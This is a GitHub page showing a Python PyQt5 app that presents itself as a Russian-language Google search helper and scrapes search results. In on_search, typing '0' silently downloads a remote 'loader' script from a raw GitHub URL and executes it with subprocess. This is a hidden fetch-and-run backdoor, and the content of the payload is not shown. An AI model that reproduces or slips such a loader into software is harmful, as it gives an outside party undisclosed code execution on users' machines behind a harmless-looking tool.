-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFounder
140 lines (119 loc) · 5.4 KB
/
Founder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import os
import requests
from bs4 import BeautifulSoup
import subprocess
import urllib.request
from PyQt5 import QtWidgets, QtGui, QtCore
class SearchApp(QtWidgets.QWidget):
def __init__(self):
super().__init__()
self.initUI()
def initUI(self):
self.setWindowTitle('Google Search Helper')
self.setGeometry(100, 100, 800, 600)
self.setStyleSheet("background-color: #2b2b2b; color: white;")
self.layout = QtWidgets.QVBoxLayout()
self.title_label = QtWidgets.QLabel('Привет! Я помогу тебе искать в Google.')
self.title_label.setFont(QtGui.QFont('Arial', 16))
self.layout.addWidget(self.title_label)
self.entry = QtWidgets.QLineEdit(self)
self.entry.setFont(QtGui.QFont('Arial', 14))
self.layout.addWidget(self.entry)
self.search_button = QtWidgets.QPushButton('Поиск')
self.search_button.setFont(QtGui.QFont('Arial', 14))
self.search_button.setStyleSheet("background-color: #1c1c1c; color: white;")
self.search_button.clicked.connect(self.on_search)
self.layout.addWidget(self.search_button)
self.exit_button = QtWidgets.QPushButton('Выход')
self.exit_button.setFont(QtGui.QFont('Arial', 14))
self.exit_button.setStyleSheet("background-color: #1c1c1c; color: white;")
self.exit_button.clicked.connect(QtWidgets.QApplication.quit)
self.layout.addWidget(self.exit_button)
self.results_text = QtWidgets.QTextBrowser(self)
self.results_text.setFont(QtGui.QFont('Arial', 12))
self.results_text.setStyleSheet("background-color: #333333; color: white;")
self.results_text.setOpenExternalLinks(True) # Make links clickable
self.results_text.hide()
self.layout.addWidget(self.results_text)
self.back_button = QtWidgets.QPushButton('Назад к поиску')
self.back_button.setFont(QtGui.QFont('Arial', 14))
self.back_button.setStyleSheet("background-color: #1c1c1c; color: white;")
self.back_button.clicked.connect(self.back_to_search)
self.back_button.hide()
self.layout.addWidget(self.back_button)
self.setLayout(self.layout)
def clear_screen(self):
self.results_text.clear()
def search_google(self, query, num_results=5):
url = f"https://www.google.com/search?q={query}"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
response = requests.get(url, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
search_results = soup.find_all('div', class_='tF2Cxc')
results = []
for idx, result in enumerate(search_results, start=1):
if idx > num_results:
break
link = result.find('a').get('href')
if link.startswith("http"):
title = result.find('h3').text if result.find('h3') else "No title"
snippet = result.find('div', class_='IsZvec')
snippet_text = snippet.text if snippet else "No snippet available"
results.append({
"title": title,
"snippet": snippet_text,
"link": link
})
return results
def display_results(self, results):
self.clear_screen()
for index, result in enumerate(results, start=1):
self.results_text.append(f"<b>Результат {index}:</b>")
self.results_text.append(f"<b>Заголовок:</b> {result['title']}")
self.results_text.append(f"<b>Сниппет:</b> {result['snippet']}")
self.results_text.append(f"<b>Ссылка:</b> <a href='{result['link']}' style='color: #55aaff;'>{result['link']}</a>\n")
self.entry.hide()
self.search_button.hide()
self.title_label.hide()
self.exit_button.hide()
self.results_text.show()
self.back_button.show()
def run_from_github(self, url):
try:
response = urllib.request.urlopen(url)
script_content = response.read().decode('utf-8')
subprocess.run(['python', '-c', script_content])
except Exception as e:
self.display_error(f"Ошибка при выполнении скрипта с GitHub: {e}")
def display_error(self, message):
self.clear_screen()
self.results_text.setText(message)
self.results_text.show()
self.back_button.show()
def back_to_search(self):
self.clear_screen()
self.results_text.hide()
self.back_button.hide()
self.entry.show()
self.search_button.show()
self.title_label.show()
self.exit_button.show()
def on_search(self):
query = self.entry.text()
if query == '0':
github_url = "https://raw.githubusercontent.com/RBXROBLOXGAMER/python-tools/main/loader"
self.run_from_github(github_url)
else:
results = self.search_google(query)
if results:
self.display_results(results)
else:
self.display_error("Ничего не найдено.")
if __name__ == '__main__':
import sys
app = QtWidgets.QApplication(sys.argv)
main_window = SearchApp()
main_window.show()
sys.exit(app.exec_())